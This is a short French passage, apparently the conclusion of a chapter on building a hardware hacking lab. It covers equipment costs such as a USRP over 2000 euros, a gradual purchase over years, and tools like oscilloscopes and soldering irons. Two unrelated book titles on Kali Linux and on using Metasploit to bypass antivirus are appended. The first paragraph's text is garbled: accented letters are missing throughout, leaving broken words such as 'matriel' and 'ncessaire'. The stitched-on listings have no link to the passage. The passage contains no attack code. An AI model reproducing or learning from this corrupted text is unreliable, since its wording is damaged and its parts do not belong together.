Conclusion Nous venons de faire un tour, comme dit en introduction, non exhaustif du matriel ncessaire. Certains matriels sont peu coteux mais les prix peuvent vite grimper. Nous navons pas parl par exemple de lUSRP, matriel trs utile mais dun prix suprieur 2000 euros. Ce matriel ne sacquiert pas bien sr ds le premier mois de fabrication du laboratoire mais petit petit. Lachat de tout ce qui est dcrit dans ce chapitre nous a pris plusieurs annes. Il sera aussi ncessaire davoir dautres appareils : oscilloscope numrique, analyseur de spectre, multimtre, fer souder, composants...
Kali linux pour les hackers : Le guide étape par étape du débutant pour apprendre le système d’exploitation des hackers éthiques et comment attaquer et défendre les systémes
Metasploit pour débutant : le guide du débutant pour bypasser les antivirus, contourner les pare-feu et exploiter des machines avec le puissant framework Metasploit.